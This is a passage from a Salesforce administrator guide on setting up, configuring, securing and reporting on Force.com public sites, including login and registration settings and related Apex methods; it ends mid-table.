To edit public access settings for Force.com sites: “Manage Users”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To set up a Force.com site:

1. Enable Force.com sites for your organization.


2. Click Setup ➤ Develop ➤ Sites.
3. Register a custom Force.com domain for your organization.
4. Create and configure your site.
5. Develop and use Visualforce pages for your site, use or hide standard pages, and customize or replace out-of-box error
pages. Associate these pages with your site.
6. Choose a site template. Use the lookup field to find and select a template that you've developed, or use the out-of-box
template provided. The site template provides the page layout and stylesheet for your site and overrides any formatting
inherited from the associated portal.
7. Enable a portal for login or self-registration, then associate it with your site.

1541
Force.com Sites Managing Force.com Sites

8. Optionally, modify public access settings.


9. When you are ready to make your site public, click Activate on the Site Details page. You can also activate your site from
the Site Edit and Sites pages.
10. Once your sites have been created, you can run reports and dashboards on them.

See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites

Managing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To get started using Force.com sites, click Setup ➤ Develop ➤ Sites. From this page, you can:

• Register your Force.com domain, if you have not yet done so.
• View all sites hosted on your Force.com domain.
• Click New to create a new site.
• Click Edit to make changes to an existing site.
• Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

• Click the site's label to view that site's details.


• Click the site's URL to open that site in a browser.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites

1542
Force.com Sites Registering a Custom Force.com Domain

Registering a Custom Force.com Domain


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To get started, register your company's Force.com domain. This one domain name is used for all the sites that you create.
Even if you register a branded Web address for your site, you must choose a Force.com domain. The branded URL will be
redirected to the Force.com domain.
To register your Force.com domain:

1. Click Setup ➤ Develop ➤ Sites.


2. Enter a unique name for your Force.com domain. This name can contain only underscores and alphanumeric characters,
and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores. Salesforce.com recommends using your company's name or a variation, such as
mycompany.
Caution: You cannot modify your Force.com domain name after you have registered it.
Free Edition domain names are assigned automatically and can't be updated. Create a custom Web address if you
want to use a custom domain name.

3. Click Check Availability to confirm that the domain name you entered is unique. If it is not unique, you are prompted
to change it.
4. Read and accept the Force.com Sites Terms of Use by selecting the checkbox.
5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the
changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It
may take up to 48 hours for your registration to take effect.

Note: The construction of the secure URLs for your Force.com sites depends on the type of organization they are
built on. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the
instance name is “na1,” and the sandbox instance name is “cs1”:

Organization Type Secure URL


Developer Edition https://mycompany-developer-edition.na1.force.com

Sandbox https://mycompany.mysandbox.cs1.force.com

Production https://mycompany.secure.force.com

1543
Force.com Sites Creating and Editing Force.com Sites

The subdomain prefix for Developer Edition must contain 22 characters or fewer. The secure URL is displayed on
the Login Settings page.

See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites

Creating and Editing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
After registering your Force.com domain, create a Force.com site using the following steps:

1. Click Setup ➤ Develop ➤ Sites.


2. Click New or click Edit for an existing site.
3. On the Site Edit page, define the following:

Field Description
Site Label The name of the site as it appears in the user interface.
Site Name The name used when referencing the site in the Force.com
Web Services API. This name can contain only underscores
and alphanumeric characters, and must be unique in your
organization. It must begin with a letter, not include spaces,
not end with an underscore, and not contain two consecutive
underscores.
Site Description An optional description of the site.
Site Contact The user who will receive site-related communications from
the site's visitors and salesforce.com.
Default Web Address The unique Force.com URL for this site. Force.com provides
the first part of the URL based on the domain name that
you registered; you must add a unique site name to the end.
Unless you configure a custom Web address through a

1544
Force.com Sites Creating and Editing Force.com Sites

Field Description
domain name registrar, this is the URL that the public will
use to access your site.
Secure Web Address The unique Force.com URL for this site when using SSL.
The secure Web address is used for SSL even if you defined
a custom Web address.
Custom Web Address The optional branded custom Web address that you
registered with a third-party domain name registrar. The
custom Web address acts as an alias to your Force.com
address.
To enable a custom Web address, create a CNAME record
to your Force.com domain with that registrar. If you have
not registered this address, you encounter an error. Custom
Web addresses are not available in sandbox or Developer
Edition organizations.
Note: If you choose to create a branded top-level
domain or subdomain through a domain name
registrar, the CNAME record that you provide to
that registrar must be your Force.com domain name
and not the site URL. For example, if you entered
mycompany when registering your Force.com
domain, the CNAME must be
mycompany.force.com, not the full value of the
site URL.

Active The option that activates your site when you are ready to
make it available to the public. You can also activate your
site from the Sites and Site Details pages. When the site is
inactive, users will see the page specified in the Inactive
Site Home Page field.

Active Site Home Page The landing page that users are directed to when this site is
active. Use the lookup field to find and select the Visualforce
page that you developed for your site's home page. Choose
the UnderConstruction page if you just want to test your
site.
Note: For ideas sites, you must use the IdeasHome
page. The “look and feel” for your ideas site will be
inherited from its associated portal, unless you select
a site template.

Inactive Site Home Page The landing page that users are directed to when this site is
inactive. Use the lookup field to find and select the page that
you want to use. You can, for example, select a page to

1545
Force.com Sites Creating and Editing Force.com Sites

Field Description
indicate that the site is under construction or down for
maintenance.
Site Template The template that provides the page layout and stylesheet
for your site. The site template overrides any formatting
inherited from the associated portal. Use the lookup field to
find and select a template that you've developed, or use the
out-of-box template provided.
Note: The site template specified here is used only
for Visualforce pages using the $Site.Template
expression.

Site Robots.txt A file that determines which parts of your public site Web
spiders and other Web robots can access. Web robots are
often used by search engines to categorize and archive
websites. HTML tags are not allowed, as they are not
compatible with robots.txt spiders. For Visualforce pages,
add contentType="text/plain" to the <apex:page>
tag.
Example disallowing all robots from indexing all pages:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: / # Disallow indexing of all
pages
</apex:page>

Example allowing all robots to index all pages:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: # Allow indexing of all
pages
</apex:page>

Site Favorite Icon The icon that appears in the browser's address field when
visiting the site. Use this field to set the favorite icon for
your entire site instead of for each page. Changes will be
reflected on your site one day after you make them, due to
caching.
Analytics Tracking Code The tracking code associated with your site. This code can
be used by services like Google Analytics to track page
request data for your site.
Enable Feeds The option that displays the Syndication Feeds related list,
where you can create and manage syndication feeds for users
on your public sites. This field is visible only if you have the
feature enabled for your organization.

1546
Force.com Sites Configuring Force.com Sites

4. Click Save.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Managing Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions

Configuring Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
To edit public access settings for Force.com sites: “Manage Users”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
Once you have created your site, you can do the following on the Site Details page, which can be accessed by clicking Setup
➤ Develop ➤ Sites:

• Click Edit to make changes to the site.


• Click Public Access Settings to view or edit the security settings, including permissions, page layouts, and more.
• Click Login Settings to configure the login and registration settings for your site. Built-in login and registration logic
allows users to quickly register for, and seamlessly log in to, your portal from your public site.
• Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

• Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All
pages associated with the site must be enabled.
• Click Page Assignment to assign error pages for standard errors, such as “Authorization Required (401)” and “Page Not
Found (404).” You can override or edit the default pages that are provided.
• Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list
to display this related list.
• View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and
the percentage used.

1547
Force.com Sites Reporting on Force.com Sites

• View the Site History related list to see the configuration changes that have been tracked for your site.

See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
Viewing 24-Hour Site Usage History
Viewing Force.com Site History
Public Access Settings for Force.com Sites
Managing Force.com Site Login and Registration Settings
About Syndication Feeds

Reporting on Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To install packages: “Download AppExchange Packages”
To run reports: “Run Reports”
AND
“Read” on the records included in reports

To create, edit, save, and delete reports: “Run Reports” and “Read” on the records included in the
reports
AND
“Create and Customize Reports”

To create, edit, and delete dashboards: “Run Reports”


AND
“Manage Dashboards”

To keep track of your site activity and usage, take advantage of the Force.com Sites Usage Reporting managed package to
analyze your monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily
limits for individual sites, as well as for your organization.
To get started using Salesforce.com analytics for sites:

1. Install the Force.com Sites Usage Reporting managed package.


2. Use packaged reports to analyze site usage.

1548
Force.com Sites Reporting on Force.com Sites

3. Optionally, create custom reports to analyze site usage.


4. Use the Site Usage Dashboard to monitor sites.

Install the Force.com Sites Usage Reporting Managed Package


The Force.com Sites Usage Reporting managed package, available on AppExchange, contains out-of-the-box reports and a
dashboard for monitoring sites usage.
To find the Force.com Sites Usage Reporting managed package, go to AppExchange and search on “sites reporting,” or go
to http://sites.force.com/appexchange/listingDetail?listingId=a0N30000001SUEwEAO.

Use Packaged Reports to Analyze Site Usage


The Force.com Sites Usage Reporting managed package contains the following reports to help you perform analytics on usage
for the sites in your organization. You can find these reports in the Site Usage Reports folder under All Reports in the Reports
tab. You can also select Site Usage Reports in the Folder drop-down list, then click Go.
Note: Site usage data is aggregated at midnight, GMT, so the current day's page view counts may not be accurately
reflected in reports, depending on your time zone. Cache server page views may take a day or more to be reflected in
reports.

Report Description
Current Period Page Views Shows the total page views for the current period (calendar month), measured against
page views allowed. Page views are broken down by site and by day. The current period
limit applies to all sites within the organization.
Daily Total Bandwidth Usage Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and
by origin and cache servers.
Daily Total Page Views Shows the total page views over the last 30 days, broken down site, by day, and by origin
and cache servers.
Site Daily Origin Bandwidth Shows the total origin bandwidth usage over the last 30 days, broken down by site and
Usage by day.
Site Daily Request Time Usage Shows the total origin service request time over the last 30 days, broken down by site and
by day.
Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period.
Top Resource Consuming Sites Shows the sites that consumed the most service request time during the current period.
Top Sites by Page Views Shows the sites that generated the most page views during the current period.

Create Custom Reports to Analyze Site Usage


You can also create custom reports on sites:
1. From the Reports tab, click Create New Custom Report.
2. For the report type, select Administrative Reports, then Site Usage Reports. You must enable sites for your organization
and install the Force.com Sites Usage Reporting managed package to see the Site Usage Reports custom report type.
3. Click Next and follow the instructions for creating a custom report. Fields related to your sites, such as Site Name, Site
Status, Daily Bandwidth Limit, and Daily Request Time Limit can all be used in your custom report.

1549
Force.com Sites Public Access Settings for Force.com Sites

Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the
Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds.
Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit
and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively.
For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request
time is measured in minutes.

Use the Site Usage Dashboard to Monitor Sites


The Force.com Sites Usage Reporting managed package contains the Site Usage Dashboard to help you monitor the sites in
your organization at a glance. The dashboard contains a component for each of the reports provided in the managed package.
To access the dashboard, from the Dashboards tab:
• Use the View Dashboard field
• Or, click Go to Dashboard List and select Site Usage Dashboard from the Folder drop-down list.
To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom
dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard
snapshot on your home page.

See Also:
Force.com Sites Overview
Viewing 24-Hour Site Usage History
Tracking Your Site with Google Analytics
Reports Overview
Dashboards Overview

Public Access Settings for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
To edit public access settings for Force.com sites: “Manage Users”

Public access settings control what public users can do on each Force.com site. To set the public access settings for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to control.
3. Click Public Access Settings.
From the Profile page, you can:

1550
Force.com Sites Public Access Settings for Force.com Sites

• Click Edit to set the public access permissions for your site. You can grant “Read” and “Create” permissions on all
standard objects except products, price books, and ideas; and “Read,” “Create,” “Edit,” and “Delete” on all custom
objects. All permissions that are not set by default must be set manually.
Caution: Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read”
access for your site. This ensures that users accessing your site can view and edit only the data related to your
site.
Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.

• Click Edit to control the visibility of custom applications in the Custom App Settings section of the page. If you want
to expose a custom application and its associated tabs to public users, make only that application visible and make it
the default to avoid exposing other pages. If any of your site pages uses standard Salesforce.com headers, other visible
applications may be seen by public users.
• Click Edit on the Login Hours related list to set the hours during which users can access the site.
• Click New on the Login IP Ranges related list to restrict the IP address ranges from which you can access the site.
Force.com sites ignore company-wide IP range restrictions in order to provide public access; however, you can restrict
the IP range here.
Note: To use IP restrictions, HTTPS is required. You must use the secure URL associated with your Force.com
domain to access your site.

• Click Edit on the Enabled Apex Class Access related list to select Apex controllers and methods for your site. Controllers
and methods that are already associated with your site's Visualforce pages are enabled by default.
• Click Edit on the Enabled Visualforce Page Access related list to select Visualforce pages for your site. Changes made
here are reflected on the Site Visualforce Pages related list on the Site Details page, and vice versa.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Your Organization-Wide Default Sharing Model

1551
Force.com Sites Managing Force.com Site Visualforce Pages

Managing Force.com Site Visualforce Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce
Pages, an authentication or page-not-found error is displayed based on the existence of the page.
To enable Visualforce pages for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to modify.
3. Click Edit on the Site Visualforce Pages related list.
4. Use the Add and Remove buttons to enable or disable Visualforce pages for your site.
5. Click Save.

Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or
the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a
page from this list, but it is still selected in one of these places, public users can access that page. To completely remove
pages from your site, disable them here and make sure they are not selected in any lookup fields for your site.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
What is a Static Resource?

1552
Force.com Sites Managing Force.com Site Standard Pages

Managing Force.com Site Standard Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can
use.
All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages,
Salesforce.com displays an authorization required error.
To control which standard pages users see for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. Click Edit on the Site Standard Pages related list.
4. Use the Add and Remove buttons to enable or disable the following standard pages for your site:

• Home Page—The standard page associated with the Home tab (/home/home.jsp).
• Ideas Pages—The standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome),
enable these pages.
• Search Pages—The standard Salesforce.com search pages. To allow public users to perform standard searches, enable
these pages.
• Lookup Pages—The standard Salesforce.com lookup pages. These are the popup windows associated with lookup
fields on Visualforce pages.

5. Click Save.

Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible
to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Assigning Force.com Site Error Pages

1553
Force.com Sites Assigning Force.com Site Error Pages

Assigning Force.com Site Error Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
To set the error pages for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to modify.
3. Click Page Assignment on the Error Pages related list.
4. Using the lookup fields, assign a Visualforce page or static resource for each of the standard error conditions listed:

• Authorization Required Page—The page users see when trying to access pages for which they do not have
authorization.
• Limit Exceeded Page—The page users see when your site has exceeded its bandwidth limits.
• Maintenance Page—The page users see when your site is down for maintenance.
• Service Not Available Page—The page users see when Salesforce.com servers are unavailable. This custom
page is rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned
as the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests
only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations.
If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers
are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but
http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by
default.
Note: The static resource:

- Must be a public zip file 1 MB or smaller.


- Must contain a page named maintenance.html at the root level of the zip file. Other resources in the
zip file, such as images or CSS files, can follow any directory structure.
- Must contain only files that have file extensions.

• Page Not Found Page—The page users see when trying to access a page that cannot be found.
• Generic Error Page—The page users see when encountering generic exceptions.

Note: You can use the action attribute on an <apex:page> component to redirect the Page Not Found error
page. Using this kind of redirect on any other error pages will redirect users to the Maintenance page.

5. Click Save.

1554
Force.com Sites Viewing 24-Hour Site Usage History

6. On the Site Details page, click Preview to view the associated page as it would appear in a browser.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages

Viewing 24-Hour Site Usage History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By
closely monitoring your sites, you can avoid exceeding your limits.
To view the 24-hour usage history for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing
time.

The 24-Hour Usage History related list tracks and displays the following usage metrics for your site:

• Origin Bandwidth—Bandwidth is calculated as the number of megabytes served and received from the site's origin server.
The Daily Limit applies to a rolling 24-hour period.
• Request Time—“Service request time” is calculated as the total server time in minutes required to generate pages for the
site. The Daily Limit applies to a rolling 24-hour period.

“Origin server” refers to the Web server that hosts your site. “Rolling 24-hour period” refers to the 24 hours immediately
preceding the current time.

1555
Force.com Sites Viewing Force.com Site History

For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.

See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites
Configuring Force.com Sites
Tracking Your Site with Google Analytics
Reporting on Force.com Sites

Viewing Force.com Site History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

To view the site history:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. View the Site History related list.

The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the
site history, along with the user who made the change and the time it occurred:

Event Description
Site Creation Logs when each site was created.
Site Detail Changes Changes to the following site values are logged:
• Site Label
• Site Name
• Site Description
• Site Contact
• Default Web Address
• Custom Web Address
• Active Status
• Active Site Home Page
• Inactive Site Home Page
• Site Template
• Site Robots.txt
• Site Favorite Icon

1556
Force.com Sites Managing Force.com Site Login and Registration Settings

Event Description
• Analytics Tracking Code
• Enable Feeds

Site Standard Pages Logs when any standard page is enabled or disabled.
Site Error Pages Logs when any error page assignment is changed.
Login Settings Changes Changes to the following login settings are logged:
• Portal
• Change Password Page
• Require Non-Secure Connections (HTTP)

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites

Managing Force.com Site Login and Registration Settings


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example,
users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then
vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and
enter the associated portal seamlessly.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.

Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated
with registration, login, forgot password, and password change processes. You can modify these pages or replace them with
your own.
The following default login and registration pages are provided by default:

1557
Force.com Sites Managing Force.com Site Login and Registration Settings

Page Name Description


SiteLogin Default login page. Used to log users in to the associated portal
from your Force.com site.
SiteRegister Default registration page. Used to register new users for the
associated Customer Portal from your Force.com site.
SiteRegisterConfirm Default registration confirmation page. The page that users
see on successful registration to the associated Customer
Portal.

Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However,
salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been
authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated
users would encounter an error.

The built-in login process:

• Checks to see whether the site is enabled for logins


• Checks to see whether the user is a valid user for the site
• Allows users to reset expired passwords

The built-in registration process:

• Checks new user information against existing users for the Customer Portal associated with the site
• Checks to see if a contact already exists for the new user
• Creates a new contact, if one doesn't already exist, and associates it with the account for the site
Important: You must update the SiteRegisterController with the Account ID using the following steps:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Click Edit next to SiteRegisterController.
3. Find the private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; line and insert the ID for
the account that you want to associate with new users. The line should look similar to this:

private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Click Save.

• Enables the Customer Portal for the new user and sends an email confirmation message
• Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process

To enable public login and registration for your portal:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to control.
3. Click Login Settings.
4. Click Edit.

1558
Force.com Sites Managing Force.com Site Login and Registration Settings

5. From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login
Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option.
Force.com Sites leverages the following portal settings:

• Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to
the page specified in the Active Site Home Page field for your site.
• Lost Password Template is used for the forgot password process.
• Header, Footer, Logo, and Login Message are used for the IdeasHome page look and feel.
• For Customer Portals:

- New User Template is used on self-registration if a password is not provided.


- Default New User License, Default New User Role, and Default New User Profile are used for
self-registration.

6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup
field.
7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security
settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the
Require Secure Connections (HTTPS) setting found at Setup ➤ Security Controls ➤ Session Settings is used
to determine the security level.
The following table illustrates the relationship between these settings.

Site-Level Security: Require Organization-Level Security: Require Description


Non-Secure Connections (HTTP) Secure Connections (HTTPS)
Not checked Not checked • Organization can use either HTTP
or HTTPS
• Site uses HTTP for the post-login
session

Checked Not checked • Organization can use either HTTP


or HTTPS
• Site uses HTTP for the post-login
session

Not checked Checked • Organization uses only HTTPS


• Site uses HTTPS for the post-login
session
• Upon login, users see the
secure.force.com domain

Checked Checked • Organization uses only HTTPS


• Site uses HTTP for the post-login
session

1559
Force.com Sites Associating a Portal with Force.com Sites

Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected,
and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected,
users logging in to the associated portal from the site will see the secure.force.com domain. For example, if
you registered mycompany.force.com as your custom domain, the URL changes to
https://mycompany.secure.force.com upon login.

Customers using Single Sign-On to login to sites can use the optional refURL URL parameter to retain the custom
domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has
been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example
URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.

8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL.
9. Click Save.

Note: For ideas, the community associated with portal must have one or all portals selected in the Portal drop-down
list.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Up Your Customer Portal

Associating a Portal with Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

You can enable users to register for or log in to an associated portal seamlessly from your site.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.

1. Enable the portal for login using the following steps:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.
b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship
Management and click Save.
c. Click Edit for the portal you want to modify.

1560
Force.com Sites Associating a Portal with Force.com Sites

d. Configure the portal as follows:

a. Select the Login Enabled checkbox.


b. Select a user for the Administrator field.
c. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout.
d. Click Save.

2. If you are using a Customer Portal and want to allow self-registration, follow these steps:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


b. Click Edit for the portal you want to associate with your Force.com site.
c. Configure the Customer Portal as follows:

a. Select Self-Registration Enabled.


b. Select Customer Portal User for both the Default New User License and Default New User Profile
fields. Depending on your portal license, you may want to select a different profile for the Default New User
Profile field.
c. Select User for the Default New User Role field.
d. Click Save.

3. Associate the site pages with the default portal users using the following steps:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.
b. Click the name of the portal that you want to associate with your site.
c. Click the name of each profile associated with your portal users and do the following:

a. Scroll down to the Enabled Visualforce Page Access section and click Edit.
b. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with
that profile to view these pages.
Note: By default, portal users can see all pages enabled for the associated public site, so you only have to
enable the pages that require authentication.

c. Click Save.

4. Associate your site with the login-enabled portal using the following steps:

a. Click Setup ➤ Develop ➤ Sites.


b. Click the site label of the site you want to configure.
c. Click Login Settings.
d. Click Edit.
e. From the Enable Login For drop-down list, select the name of the portal for which you want to allow login.
f. Select the Change Password Page.
g. Click Save.

For more information, see Managing Force.com Site Login and Registration Settings.

1561
Force.com Sites Force.com Sites-Related Apex Methods and Expressions

Note: For ideas sites, you must associate the community with a portal and enable the IdeasHome page for the site.
Ideas will not be visible to the public until a portal has been associated with that community. To do this, use the
following steps:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities.


2. Click Edit next to the community you want to make public.
3. From the Portal drop-down list, select the portal to use for this community. You can choose to show the
community in all portals.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings
Setting Up Your Customer Portal

Force.com Sites-Related Apex Methods and Expressions


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com Apex Methods


Force.com provides the following Apex methods for use with Force.com sites:

Name Arguments Return Type Description


changePassword String newpassword System.PageReference Changes the password of the current
user.
String
verifynewpassword

String opt_oldpassword

createPortalUser sObject user Id Creates a portal user for the given


account and associates it with the
String accountId
site's portal. Note that the nickname
String opt_password field is required for the user sObject
when using the createPortalUser
method.
Note: This method is only
valid when a site is associated
with a Customer Portal.

1562
Force.com Sites Force.com Sites-Related Apex Methods and Expressions

Name Arguments Return Type Description


forgotPassword String username Boolean Resets the user's password and sends
an email to the user with their new
password. Returns a value indicating
whether the password reset was
successful or not.
getAnalyticsTrackingCode String The tracking code associated with
your site. This code can be used by
services like Google Analytics to track
page request data for your site.
getCurrentSiteUrl String Returns the value of the site URL for
the current request (for example,
http://myco.com/ or
https://myco.force.com/prefix/).

getCustomWebAddress String Returns the value of the Custom Web


Address field for the current site.

getDomain String Returns the Force.com domain name


for your organization.
getErrorDescription String Returns the error description for the
current page if it is a designated error
page for the site and an error exists;
otherwise, returns an empty string.
getErrorMessage String Returns an error message for the
current page if it is a designated error
page for the site and an error exists;
otherwise, returns an empty string.
getName String Returns the API name of the current
site.
getOriginalUrl String Returns the original URL for this
page if it is a designated error page
for the site; otherwise, returns null.
getPrefix String Returns the URL path prefix of the
current site. For example, if your site
URL is
myco.force.com/partners,
partners is the path prefix. Returns
null if the prefix is not defined, or if
the page was accessed using a custom
Web address.
getTemplate System.PageReference Returns the template name associated
with the current site; returns the
default template if no template has
been designated.
isLoginEnabled Boolean Returns true if the current site is
associated with an active

1563
Force.com Sites Force.com Sites-Related Apex Methods and Expressions

Name Arguments Return Type Description


login-enabled portal; otherwise
returns false.
isPasswordExpired Boolean For authenticated users, returns true
if the currently logged-in user's
password is expired. For
non-authenticated users, returns
false.

isRegistrationEnabled Boolean Returns true if the current site is


associated with an active
self-regitration-enabled Customer
Portal; otherwise returns false.
login String username System.PageReference Allows users to log in to the current
site with the given username and
String password
password, then takes them to the
